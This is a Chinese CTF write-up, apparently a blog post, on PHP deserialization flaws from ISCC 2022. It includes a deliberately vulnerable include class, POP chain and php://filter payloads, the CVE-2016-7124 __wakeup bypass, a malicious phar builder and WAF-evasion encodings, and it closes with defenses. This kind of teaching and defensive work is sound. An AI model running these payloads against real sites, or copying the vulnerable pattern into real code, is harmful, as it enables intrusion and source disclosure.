ISCC 2022 Web 题解:5类 PHP 反序列化漏洞实战与 3 种绕过技巧剖析

📅 2026/7/8 20:19:11 👁️ 阅读次数 📝 编程学习
ISCC 2022 Web 题解:5类 PHP 反序列化漏洞实战与 3 种绕过技巧剖析

ISCC 2022 Web 题解:5类 PHP 反序列化漏洞实战与 3 种绕过技巧剖析

在网络安全领域,PHP 反序列化漏洞因其高危害性和广泛存在性,一直是 CTF 比赛和实际渗透测试中的重点考察对象。本文将深入剖析 ISCC 2022 比赛中出现的 5 类典型 PHP 反序列化漏洞,并分享 3 种实用的 WAF 绕过技巧,帮助安全研究人员构建完整的漏洞利用思维框架。

1. PHP 反序列化漏洞核心原理

PHP 反序列化漏洞的本质在于:当不可信数据被传递给unserialize()函数时,攻击者通过精心构造的序列化字符串,触发对象中的魔术方法执行恶意操作。以下为关键魔术方法及其触发场景:

魔术方法触发时机典型危险操作
__wakeup()对象反序列化时文件包含、命令执行
__destruct()对象销毁时文件删除、写日志
__toString()对象被当作字符串处理时SQL 注入、XSS
__call()调用不可访问方法时动态函数执行
__get()读取不可访问属性时敏感信息泄露

漏洞产生的根本条件

  1. 存在unserialize()函数且参数可控
  2. 类中定义了危险魔术方法
  3. 存在可串联的类方法调用链(POP Chain)
// 典型漏洞代码示例 class VulnerableClass { public $file; function __wakeup() { include($this->file); // 文件包含漏洞 } } $data = unserialize($_GET['data']);

2. 5 类实战漏洞案例分析

2.1 文件包含利用链(Pop2022)

漏洞链构造

Road_is_Long::__wakeup() → Road_is_Long::__toString() → Make_a_Change::__get() → Try_Work_Hard::__invoke() → include()

关键代码片段

class Try_Work_Hard { protected $var = 'flag.php'; function __invoke() { $this->append($this->var); // 触发文件包含 } } class Make_a_Change { public $effort; function __get($key) { $function = $this->effort; return $function(); // 调用__invoke } }

利用步骤

  1. 构造Try_Work_Hard实例作为Make_a_Change$effort属性
  2. 通过Road_is_Long__toString触发属性访问
  3. 使用php://filter包装器读取源码:
    $var = "php://filter/read=convert.base64-encode/resource=flag.php"

2.2 原生类利用(Findme)

PHP 内置类DirectoryIteratorGlobIterator可被用于目录遍历:

class Exploit { public $un0 = 'DirectoryIterator'; public $un1 = 'glob://f*'; } $exp = serialize(new Exploit()); // 输出当前目录下f开头的文件

注意:当禁用危险函数时,原生类往往是突破沙箱的关键

2.3 字符逃逸攻击

当序列化数据经过过滤处理时,可能通过字符替换改变原数据结构:

原始数据:s:3:"abc";s:5:"12345"; 过滤规则:将"abc"替换为"abcd" 结果:s:4:"abcd";s:5:"12345";} // 结构被破坏

利用方法

  1. 计算替换前后的长度差异
  2. 精心构造填充字符串
  3. 逃逸出原有数据结构注入新对象

2.4 属性数量绕过(CVE-2016-7124)

当序列化字符串中对象属性数量大于实际数量时,可绕过__wakeup()执行:

O:4:"User":2:{s:4:"name";s:4:"test";} // 正常 O:4:"User":3:{s:4:"name";s:4:"test";} // 触发绕过

2.5 Phar 反序列化

通过上传恶意 Phar 文件触发反序列化:

// 生成恶意Phar $phar = new Phar("exp.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($exploitObject); // 插入恶意对象 $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); // 触发方式(无需unserialize) file_exists("phar://exp.phar");

3. WAF 绕过三大技巧

3.1 编码混淆技术

编码类型示例适用场景
Base64Tzo0OiJVc2VyIjoxO...过滤引号时
Hex4f3a343a225573657222...关键字检测
URL 编码%4f%3a%34%3a%22%55...传输过程编码
UTF-16\u004f\u003a\u0034...绕过正则检测

3.2 非常规 POP 链构造

通过非典型魔术方法构建利用链:

__sleep() → __toString() → __callStatic()

特殊场景利用

class X { function __call($a, $b) { call_user_func($this->fn, $b); } } class Y { function __toString() { return $this->x->bypass(); } }

3.3 反序列化上下文逃逸

当直接反序列化不可行时,尝试以下途径:

  1. 通过phar://协议触发
  2. 利用session_start()的序列化处理器
  3. 数据库读取操作中的反序列化

4. 漏洞环境搭建与复现

4.1 Docker 环境配置

FROM php:7.4-apache RUN apt-get update && apt-get install -y \ libzip-dev \ && docker-php-ext-install zip COPY src/ /var/www/html/ EXPOSE 80

4.2 漏洞验证脚本

// 自动化漏洞检测 function check_unserialize($url) { $payloads = [ 'O:8:"stdClass":0:{}', 'a:1:{i:0;i:1;}' ]; foreach ($payloads as $p) { $res = file_get_contents($url.'?data='.urlencode($p)); if (strpos($res, 'Warning') !== false) { return true; } } return false; }

5. 防御方案设计

多层次防护策略

  1. 输入处理层

    • 使用json_decode()替代unserialize()
    • 实施白名单校验:
      $allowed = ['SafeClassA', 'SafeClassB']; if (!in_array($className, $allowed)) { throw new Exception("Class not allowed"); }
  2. 运行时防护

    • 设置unserialize_callback_func
      unserialize_callback_func = "unserialize_check"
    • 使用 PHP 7 的allowed_classes选项:
      unserialize($data, ['allowed_classes' => false]);
  3. 架构设计层

    • 实现签名验证机制
    • 采用沙箱环境执行反序列化

在真实项目中发现,通过组合使用这些防御措施,能有效阻断 90% 以上的反序列化攻击向量。